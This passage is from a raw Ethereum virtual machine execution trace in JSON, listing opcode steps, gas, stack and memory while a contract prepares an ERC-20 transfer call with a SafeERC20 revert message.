000000000000000000000000000"]},{"pc":7066,"op":"ADD","gas":65377,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4","0xe4","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":7067,"op":"PUSH1","gas":65374,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":7069,"op":"MSTORE","gas":65371,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4","0x124","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":7070,"op":"DUP1","gas":65368,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":7071,"op":"PUSH1","gas":65365,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":7073,"op":"DUP2","gas":65362,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4","0xe4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":7074,"op":"MSTORE","gas":65359,"gasCost":6,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4","0xe4","0x20","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":7075,"op":"PUSH1","gas":65353,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000"]},{"pc":7077,"op":"ADD","gas":65350,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4","0xe4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000"]},{"pc":7078,"op":"PUSH32","gas":65347,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4","0x104"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000"]},{"pc":7111,"op":"DUP2","gas":65344,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4","0x104","0x5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000"]},{"pc":7112,"op":"MSTORE","gas":65341,"gasCost":6,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4","0x104","0x5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564","0x104"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000"]},{"pc":7113,"op":"POP","gas":65335,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4","0x104"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7114,"op":"DUP6","gas":65333,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7115,"op":"PUSH1","gas":65330,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7117,"op":"PUSH1","gas":65327,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7119,"op":"PUSH1","gas":65324,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7121,"op":"SHL","gas":65321,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7122,"op":"SUB","gas":65318,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7123,"op":"AND","gas":65315,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7124,"op":"PUSH2","gas":65312,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7127,"op":"SWAP1","gas":65309,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1c72"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7128,"op":"SWAP3","gas":65306,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4","0x1c72","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7129,"op":"SWAP2","gas":65303,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xe4","0x1c72","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7130,"op":"SWAP1","gas":65300,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x1c72","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7131